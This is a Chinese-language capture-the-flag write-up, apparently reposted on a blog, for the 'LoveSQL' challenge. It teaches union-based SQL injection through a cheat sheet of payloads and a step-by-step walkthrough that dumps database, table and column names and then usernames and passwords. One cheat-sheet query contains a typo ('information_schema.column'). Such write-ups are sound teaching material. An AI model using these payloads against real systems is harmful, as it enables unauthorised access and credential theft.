[极客大挑战 2019]LoveSQL 1
生活随笔
收集整理的這篇文章主要介紹了
[极客大挑战 2019]LoveSQL 1
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[極客大挑戰 2019]LoveSQL 1
審題
又是一道SQL題,還和上面Easy_SQL是一個系列的題。
知識點
SQL注入之聯合查詢。
知識點詳解
聯合查詢
基礎講解:
union聯合查詢定義是:可以使用UNION操作符,將多個查詢結果,按行進行縱向合并。
基本語法
SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>
我們常用到的SQL語句有:
- 查詢字段
1' order by X# //X替換為數字
- 查詢注入點
1' union select 1,2,3,···,X#
- 爆數據庫,
1' union select 1,2,database()#
- 爆表,只有一個數據庫時
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
有多個數據庫時
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
- 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
- 讀取內容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#
group_concat
其中,group_concat函數的作用是將查詢到的每行結果合并成一行并以逗號隔開。
比如:
沒使用group_concat時,用concat查詢的情況如下
ID
USER
PASSWARD
使用了group_caoncat后的結果就如下
ID,USER,PASSWARD
information_schema
nformation_schema是mysql自帶的一個信息數據庫,保存著關于MySQL服務器所維護的所有其他數據庫的信息。
所以我們將從information_schema數據庫中找到表名和列名。
另外,聯合查詢還有有很多種查詢方法,大家可以去自行查找。
參考博客:
SQL入門之第十二講——UNION 聯合查詢
解題
-
進行SQL注入測試。當輸入1'時發現有報錯回顯,可以猜測有SQL注入。
-
使用基礎的1' show databases# 無法得到庫名,我們使用聯合查詢。
由上面的知識點詳解的步驟開始解題
- 查詢字段,從1一直嘗試到4,發現輸入1' order by 4# 時出現報錯
- 猜測其有三個字段,查詢注入點
1' union select 1,2,3#
通過回顯可以看出2,3都是注入點。
-
爆庫名
1' union select 1,2,database()# -
爆表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# -
爆列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'# -
爆這個列名中的所有內容
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#得到flag
總結
以上是生活随笔為你收集整理的[极客大挑战 2019]LoveSQL 1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Feign源码解析5:loadbalan
- 下一篇: 程序员如何具备跨行业视角